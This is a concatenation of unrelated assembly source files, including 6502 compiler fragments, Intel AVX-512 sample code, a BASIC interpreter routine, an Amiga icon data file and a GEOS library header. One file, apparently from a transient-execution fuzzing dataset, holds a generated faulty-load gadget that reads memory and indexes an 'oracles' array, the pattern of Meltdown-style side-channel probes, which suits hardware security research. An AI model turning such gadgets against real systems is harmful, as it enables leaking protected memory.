- - - - - - - - - - - - - - - - - - - - - mov eax, OPEN mov ebx, [esp] mov ecx, O_RDONLY int 0x80 test eax, eax js .open_fail jmp .open_success .open_fail: mov eax, -1 jmp .return .open_success: mov [esp + 16], eax ;fd = OPEN() ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; ## Skip 0x0A 3 times, to get the pixel data ; While(c != 0x0A) READ(fd, @c, 1); ; While(c != 0x0A) READ(fd, @c, 1); ; While(c != 0x0A) READ(fd, @c, 1); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov esi, 3 .skip_0x0a: mov eax, READ mov ebx, [esp + 16] ;ebx = fd lea ecx, [esp + 20] ;ecx = @c mov edx, 1 int 0x80 mov eax, [esp + 20] ;eax = c cmp eax, 0x0a jne .skip_0x0a sub esi, 1 jnz .skip_0x0a ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; ## Read the pixel data ; READ(fd, addr_data, width*height); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 4] ;eax = width mov ebx, [esp + 8] ;ebx = height xor edx, edx mul ebx mov edx, eax ;edx = width * height mov eax, READ mov ebx, [esp + 16] ;ebx = fd mov ecx, [esp + 12] ;ecx = addr_data int 0x80 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; ## Close the file ; CLOSE(fd); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, CLOSE mov ebx, [esp + 16] ;ebx = fd int 0x80 mov eax, 0 .return: .clean_stackframe: mov esp, ebp ;restore stack ptr to initial value mov ebp, [esp] ;restore ebp to its initial value add esp, 4 ;restore 4 bytes ret
25.234568
71
0.40729
45c5396e7f6fec3124ade23ad8f32e48dcf1033c
22
asm
Assembly
src/main/fragment/mos6502-common/vbuaa=vbum1_minus_vbuaa.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/vbuaa=vbum1_minus_vbuaa.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/vbuaa=vbum1_minus_vbuaa.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
eor #$ff sec adc {m1}
5.5
8
0.590909
d1e98455e29be0db58cedc4fbcbc9dbbdb1e224e
1,469
asm
Assembly
chap18/ex8/mce_avx512.asm
JamesType/optimization-manual
61cdcebb16e0768a6ab7e85ed535e64e9d8cc31a
[ "0BSD" ]
374
2021-06-08T10:42:01.000Z
2022-03-29T14:21:45.000Z
chap18/ex8/mce_avx512.asm
JamesType/optimization-manual
61cdcebb16e0768a6ab7e85ed535e64e9d8cc31a
[ "0BSD" ]
1
2021-06-11T20:24:02.000Z
2021-06-11T20:24:02.000Z
chap18/ex8/mce_avx512.asm
JamesType/optimization-manual
61cdcebb16e0768a6ab7e85ed535e64e9d8cc31a
[ "0BSD" ]
39
2021-06-08T11:25:29.000Z
2022-03-05T05:14:17.000Z
; ; Copyright (C) 2021 by Intel Corporation ; ; Permission to use, copy, modify, and/or distribute this software for any ; purpose with or without fee is hereby granted. ; ; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH ; REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY ; AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, ; INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM ; LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR ; OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR ; PERFORMANCE OF THIS SOFTWARE. ; ; .globl mce_avx512 ; void mce_avx512(uint32_t *out, const uint32_t *in, uint64_t width) ; On entry: ; rcx = out ; rdx = in ; r8 = width (must be > 0 and a multiple of 8) .data ALIGN 4 five DD 5 three DD 3 .code mce_avx512 PROC public push rbx ; mov rdx, pImage ; mov rcx, pOutImage mov rbx, r8 ; mov rbx, [len] xor rax, rax vpbroadcastd zmm1, five vpbroadcastd zmm5, three vpxord zmm3, zmm3, zmm3 mainloop: vmovdqa32 zmm0, [rdx+rax*4] vpcmpgtd k1, zmm0, zmm3 vpandd zmm2, zmm5, zmm0 vpcmpeqd k2, zmm2, zmm5 kandw k1, k2, k1 vpaddd zmm0 {k1}, zmm0, zmm1 vmovdqa32 [rcx+rax*4], zmm0 add rax, 16 cmp rax, rbx jne mainloop pop rbx vzeroupper ret mce_avx512 ENDP end
23.693548
79
0.684139
451eae3eed2da45dd6f29687a919c19dad050c7e
5,312
asm
Assembly
source/variable/variable/create.asm
paulscottrobson/6502-basic
d4c360041bfa49427a506465e58bb0ef94beaa44
[ "MIT" ]
3
2021-09-30T19:34:11.000Z
2021-10-31T06:55:50.000Z
source/variable/variable/create.asm
paulscottrobson/6502-Basic
d4c360041bfa49427a506465e58bb0ef94beaa44
[ "MIT" ]
null
null
null
source/variable/variable/create.asm
paulscottrobson/6502-Basic
d4c360041bfa49427a506465e58bb0ef94beaa44
[ "MIT" ]
1
2021-12-07T21:58:44.000Z
2021-12-07T21:58:44.000Z
; ************************************************************************************************ ; ************************************************************************************************ ; ; Name: create.asm ; Purpose: Create a new variable. ; Created: 1st March 2021 ; Reviewed: 9th March 2021 ; Author: Paul Robson (paul@robsons.org.uk) ; ; ************************************************************************************************ ; ************************************************************************************************ .section code ; ************************************************************************************************ ; ; +0,+1 Link to next variable or $0000 ; +2,+3 Address of variable name in code ; +4 Hash value for this ; +5 .... Data ; ; ************************************************************************************************ ; ; (codePtr),y points to the variable and it is already setup ; ; ************************************************************************************************ CreateVariable: tya ; push Y on the stack twice. pha ; position in code of the new variable. pha ldx varType ; get var type 0-5 from the var type lda _CVSize-$3A,x ; the bytes required for this new variable. pha ; save length ; lda lowMemory ; set low Memory ptr to temp0 sta temp0 ; (address of the new variable) lda lowMemory+1 sta temp0+1 ; pla ; get length clc ; add to low memory. adc lowMemory sta lowMemory bcc _CVNoCarry inc lowMemory+1 lda lowMemory+1 ; check out of memory. cmp highMemory+1 bcs _CVMemory _CVNoCarry: lda varHash ; store hash at offset 4. ldy #4 sta (temp0),y pla ; offset, work out where the variable name is. clc adc codePtr ldy #2 ; copy that into slots 2 + 3. sta (temp0),y lda codePtr+1 adc #0 iny sta (temp0),y cmp basePage+1 ; compare against the program base. bcs _CVNotImmediate jsr CloneVariableName ; we need to clone the variable name (immediate mode) _CVNotImmediate: ; ldy #0 ; copy current hash pointer in link lda (hashList),y ; so we're inserting it in the front of a linked list sta (temp0),y iny lda (hashList),y sta (temp0),y ; lda temp0+1 ; set new link sta (hashList),y dey lda temp0 sta (hashList),y lda varType ; type in A ldy #5 ; offset in Y jsr ZeroTemp0Y ; zero (temp0),y with whatever type. .puly ; restore Y rts _CVMemory: .throw Memory ; ; Size look up table. ; _CVSize:.byte VarHSize+VarISize,VarHSize+VarASize ; <storage for integer> .byte VarHSize+VarSSize,VarHSize+VarASize ; <storage for string> .byte VarHSize+VarFSize,VarHSize+VarASize ; <storage for float> ; ************************************************************************************************ ; ; Write a blank at (temp0),y, allowing for type A. ; ; ************************************************************************************************ ZeroTemp0Y: lsr a ; bit 0 in carry asl a bcs _ZTExit ; we don't initialise arrays. ; cmp #$3C ; check string beq _ZTWriteNullString ; write "" string cmp #$3E ; check float beq _ZTWriteFloat ; ; Null Integer. ; .pshy lda #0 sta (temp0),y iny sta (temp0),y iny sta (temp0),y iny sta (temp0),y .puly _ZTExit: rts ; ; Null string at (temp0),Y ; _ZTWriteNullString: lda #0 ; put a reference to null string as the default value. sta NullString lda #NullString & $FF sta (temp0),y lda #NullString >> 8 iny sta (temp0),y dey rts ; ; Float write done by floating point module. ; _ZTWriteFloat: .pshx .floatingpoint_setzero .pulx rts ; ************************************************************************************************ ; ; Clone the variable name at (temp0),2/3 ; Required when a new variable is defined from the command line, as we cannot then use the ; "in code" address. ; ; ************************************************************************************************ CloneVariableName: ldy #2 ; copy vname address to temp2 lda (temp0),y sta temp2 iny lda (temp0),y sta temp2+1 ; lda lowMemory+1 ; copy lowMemory address to (temp0),2/3 sta (temp0),y dey lda lowMemory sta (temp0),y ; ldy #0 ; copy data from (temp2) to (lowMemory) _CVNCopy: lda (temp2),y sta (lowMemory),y iny cmp #$3A ; until the whole name has been copied. bcc _CVNCopy ; tya ; add Y to low memory clc adc lowMemory sta lowMemory bcc _CVNNoCarry inc lowMemory+1 _CVNNoCarry: rts .send code ; ************************************************************************************************ ; ; Changes and Updates ; ; ************************************************************************************************ ; ; Date Notes ; ==== ===== ; 07-Mar-21 Pre code read v0.01 ; ; ************************************************************************************************
26.167488
98
0.449548
c8feb4219b9ec493c6ed8c09b37a9f97b5ccddd6
417
asm
Assembly
programs/oeis/061/A061086.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/061/A061086.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/061/A061086.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A061086: a(n) is the concatenation of n with n^3. ; 11,28,327,464,5125,6216,7343,8512,9729,101000,111331,121728,132197,142744,153375,164096,174913,185832,196859,208000,219261,2210648,2312167,2413824,2515625,2617576,2719683,2821952,2924389,3027000,3129791,3232768,3335937 mov $3,1 add $3,$0 cal $0,61087 ; a(n) = A061086(n) / n. mul $0,$3 mov $1,2 add $2,$0 mul $2,2 sub $2,2 add $1,$2 sub $1,22 div $1,2 add $1,11
26.0625
220
0.717026
f69a212922d4a17d24e6f428a0c7ebb070182df1
8,289
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1291.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1291.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1291.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %r8 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_WC_ht+0x15f65, %rsi lea addresses_WT_ht+0x17385, %rdi nop nop nop nop add $44362, %r8 mov $28, %rcx rep movsl nop nop nop nop sub $20498, %r15 lea addresses_A_ht+0x7985, %r8 nop nop nop nop nop add %r9, %r9 mov (%r8), %ecx inc %r9 lea addresses_D_ht+0xdbc5, %r8 nop nop nop dec %rbp mov $0x6162636465666768, %rcx movq %rcx, (%r8) nop nop inc %rsi lea addresses_D_ht+0x19edd, %rsi lea addresses_D_ht+0x135dd, %rdi xor $39386, %r8 mov $65, %rcx rep movsw nop nop nop cmp $9444, %rsi lea addresses_A_ht+0x48d5, %rsi lea addresses_UC_ht+0x12fdc, %rdi nop nop cmp $6402, %r15 mov $108, %rcx rep movsl nop cmp %r9, %r9 lea addresses_WC_ht+0xd205, %rdi nop nop add $7854, %r15 movb $0x61, (%rdi) nop nop inc %rdi lea addresses_WT_ht+0x7023, %rsi lea addresses_WT_ht+0x1ec65, %rdi nop nop nop nop cmp $35268, %r15 mov $111, %rcx rep movsb nop nop nop nop cmp %rsi, %rsi lea addresses_UC_ht+0xa055, %r15 nop cmp %rsi, %rsi movb (%r15), %r9b nop nop nop add %rsi, %rsi lea addresses_normal_ht+0x6905, %rsi nop nop sub %r9, %r9 mov (%rsi), %bp nop nop nop nop add %rsi, %rsi lea addresses_WC_ht+0x11d85, %rsi lea addresses_UC_ht+0x10e75, %rdi nop sub $54365, %r10 mov $104, %rcx rep movsw nop cmp $295, %r10 lea addresses_normal_ht+0x3da1, %r8 nop nop nop nop and %r15, %r15 mov (%r8), %ebp nop nop nop nop nop cmp $4293, %r10 lea addresses_UC_ht+0x6a85, %rbp nop nop nop nop nop cmp $6175, %rcx vmovups (%rbp), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %r8 nop nop nop nop and %r15, %r15 lea addresses_UC_ht+0x9cb5, %rsi nop nop nop nop nop sub $29990, %r9 mov $0x6162636465666768, %rbp movq %rbp, (%rsi) nop nop nop nop nop and $6557, %rdi lea addresses_WT_ht+0xa985, %r9 nop nop nop nop nop cmp $4595, %r15 vmovups (%r9), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %r10 nop nop nop cmp %r10, %r10 lea addresses_D_ht+0x6785, %rcx inc %r10 movb (%rcx), %r9b nop nop dec %r15 pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r15 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r8 push %r9 push %rax push %rbp push %rdx // Store mov $0x4dd, %r12 nop nop nop nop nop add $40409, %rax movb $0x51, (%r12) nop nop nop xor %rbp, %rbp // Store lea addresses_WT+0x8fe5, %rbp clflush (%rbp) cmp %rdx, %rdx mov $0x5152535455565758, %rax movq %rax, %xmm7 movaps %xmm7, (%rbp) nop nop nop add %rax, %rax // Faulty Load lea addresses_D+0x1b985, %rax nop add %r8, %r8 movups (%rax), %xmm3 vpextrq $1, %xmm3, %r9 lea oracles, %r12 and $0xff, %r9 shlq $12, %r9 mov (%r12,%r9,1), %r9 pop %rdx pop %rbp pop %rax pop %r9 pop %r8 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 3, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': True, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': True}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
31.279245
2,999
0.653637
31d8616f977e6cef90bb4c8d9d8a949e54b24bcc
5,696
asm
Assembly
research/deficon/def_tool-icon_36_279.asm
nicodex/HelloAmi
6dae73b6968cc2caaea356b7a35b0ae1dd78fe09
[ "MIT" ]
16
2019-02-14T15:47:57.000Z
2021-03-28T20:50:54.000Z
research/deficon/def_tool-icon_36_279.asm
nicodex/HelloAmi
6dae73b6968cc2caaea356b7a35b0ae1dd78fe09
[ "MIT" ]
9
2019-01-17T09:08:30.000Z
2021-04-15T19:32:47.000Z
research/deficon/def_tool-icon_36_279.asm
nicodex/HelloAmi
6dae73b6968cc2caaea356b7a35b0ae1dd78fe09
[ "MIT" ]
1
2019-01-04T16:19:03.000Z
2019-01-04T16:19:03.000Z
; vasmm68k_mot[_<HOST>] -Fbin -o icon_36_279/def_tool.info def_tool-icon_36_279.asm ; ; Default "ENV:def_tool.info" data included in "icon 36.279 (20.4.90)". ; include deficon.inc ifne DEFICON_MEM align 1 endif defIconTool: dc.w $E310 ; do_Magic = WB_DISKMAGIC dc.w $0001 ; do_Version = WB_DISKVERSION dc.l 0 ; do_Gadget+gg_NextGadget dc.w 36,53 ; do_Gadget+gg_LeftEdge/gg_TopEdge dc.w 54,23 ; do_Gadget+gg_Width/gg_Height dc.w $0004 ; do_Gadget+gg_Flags = ; GFLG_GADGIMAGE dc.w $0001 ; do_Gadget+gg_Activation = ; GACT_RELVERIFY dc.w $0001 ; do_Gadget+gg_GadgetType = ; GTYP_BOOLGADGET DEFICON_PTR .GadgetRender ; do_Gadget+gg_GadgetRender dc.l 0 ; do_Gadget+gg_SelectRender dc.l 0 ; do_Gadget+gg_GadgetText dc.l 0 ; do_Gadget+gg_MutualExclude dc.l 0 ; do_Gadget+gg_SpecialInfo dc.w 0 ; do_Gadget+gg_GadgetID dc.l 0 ; do_Gadget+gg_UserData dc.b 3 ; do_Type = WBTOOL dc.b 0 ; do_PAD_BYTE dc.l 0 ; do_DefaultTool dc.l 0 ; do_ToolTypes dc.l $80000000 ; do_CurrentX = NO_ICON_POSITION dc.l $80000000 ; do_CurrentY = NO_ICON_POSITION dc.l 0 ; do_DrawerData dc.l 0 ; do_ToolWindow dc.l 0 ; do_StackSize .GadgetRender: dc.w 0,0 ; ig_LeftEdge/ig_TopEdge dc.w 54,23 ; ig_Width/ig_Height dc.w 2 ; ig_Depth DEFICON_PTR .GadgetImage ; ig_ImageData dc.b (1<<2)-1,0 ; ig_PlanePick/ig_PlaneOnOff dc.l 0 ; ig_NextImage .GadgetImage: dc.w %0000000000000000,%0000000000000000,%0000000000000100,%0000000000000000 dc.w %0000000000000000,%0000000000000000,%0000000000000001,%0000000000000000 dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0100000000000000 dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0001000000000000 dc.w %0000000011111111,%1111100000000000,%0000000000000000,%0000100000000000 dc.w %0000000100000000,%0000010000000000,%0000000000000000,%0000110000000000 dc.w %0000001000000000,%0000001111111111,%1111111111111111,%1000110000000000 dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000 dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000 dc.w %0000010111111111,%1111111111111111,%1111111111111111,%0100110000000000 dc.w %0000011000000000,%0000000000000000,%0000000000000000,%1100110000000000 dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000 dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000 dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000 dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000 dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000 dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000 dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000 dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000 dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000 dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000 dc.w %0111111111111111,%1111111111111111,%1111111111111111,%1111110000000000 dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000 dc.w %1111111111111111,%1111111111111111,%1111111111111000,%0000000000000000 dc.w %1101010101010101,%0101010101010101,%0101010101010110,%0000000000000000 dc.w %1101010101010101,%0101010101010101,%0101010101010101,%1000000000000000 dc.w %1101010101010101,%0101010101010101,%0101010101010101,%0110000000000000 dc.w %1101010100000000,%0000010101010101,%0101010101010101,%0101000000000000 dc.w %1101010000000000,%0000000101010101,%0101010101010101,%0101000000000000 dc.w %1101010000000000,%0000000000000000,%0000000000000000,%0101000000000000 dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000 dc.w %1101000011111111,%1111111111111111,%1111111111111100,%0001000000000000 dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000 dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000 dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000 dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000 dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000 dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000 dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000 dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000 dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000 dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000 dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000 dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000 dc.w %1000000000000000,%0000000000000000,%0000000000000000,%0000000000000000 dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
58.721649
83
0.719101
53f8fd4cf0a893e162bd989b2dc5654cd0c3337a
5,581
asm
Assembly
Library/NetUtils/address.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/NetUtils/address.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/NetUtils/address.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Geoworks 1994 -- All Rights Reserved PROJECT: socket MODULE: network utilities library FILE: address.asm AUTHOR: Eric Weber, Oct 31, 1994 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- EW 10/31/94 Initial revision DESCRIPTION: Code for SocketAddressControlClass $Id: address.asm,v 1.1 97/04/05 01:25:32 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CANNOT_CHANGE_TO_NON_ANCESTOR_CLASS enum FatalErrors ; UtilChangeClass was called asking to change an object to some class that ; is not a superclass of the base class of the object. CANNOT_REMOVE_MASTER_LEVELS_WHEN_CHANGING_CLASS enum FatalErrors ; You are attempting to change the class of an object using UtilChangeClass ; and the class to which you wish to change it is in a different master group ; than the class to which the object currently belongs. UtilChangeClass doesn't ; have code in it to support this. UtilClasses segment resource SocketAddressControlClass UtilClasses ends AddressCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SocketAddressControlSetAction %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the destination and message to be outputted when address becomes valid or invalid CALLED BY: MSG_SOCKET_ADDRESS_CONTROL_SET_ACTION PASS: ds:di = SocketAddressControlClass instance data ^lcx:dx = destination (or cx=0, dx=travel option) bp = message id RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- EW 10/31/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SocketAddressControlSetAction method dynamic SocketAddressControlClass, 